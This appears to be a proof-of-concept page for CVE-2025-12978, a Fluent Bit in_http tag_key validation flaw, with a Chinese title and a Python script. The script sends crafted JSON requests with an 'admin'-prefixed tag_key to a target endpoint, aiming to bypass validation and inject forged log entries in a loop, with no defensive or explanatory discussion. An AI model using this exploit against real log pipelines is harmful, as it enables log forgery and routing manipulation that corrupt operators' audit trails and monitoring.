CVE-2025-12978 Fluent Bit tag_key验证缺陷导致日志注入和路由操纵

# CVE-2025-12978 PoC - Fluent Bit tag_key Validation Bypass # Target: Fluent Bit in_http plugin with tag_key configuration import requests import json TARGET_URL = "http://target:2020/" MALICIOUS_TAG = "admin" # Bypass: matches 'admin' prefix in tag_key PAYLOAD = { "key1": "value1", "key2": "value2", "tag_key": MALICIOUS_TAG, "fake_data": "injected_log_entry" } def exploit_tag_validation_bypass(): headers = { "Content-Type": "application/json", "Authorization": "Basic <credentials>" } # Normal request that should be rejected response = requests.post(TARGET_URL, json=PAYLOAD, headers=headers) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Send multiple requests to inject forged logs for i in range(10): payload = { "log": f"FORGED_LOG_{i}", "tag_key": f"admin_{i}", # Prefix matches, bypasses validation "timestamp": "2025-01-01T00:00:00Z" } requests.post(TARGET_URL, json=payload, headers=headers) if __name__ == "__main__": exploit_tag_validation_bypass()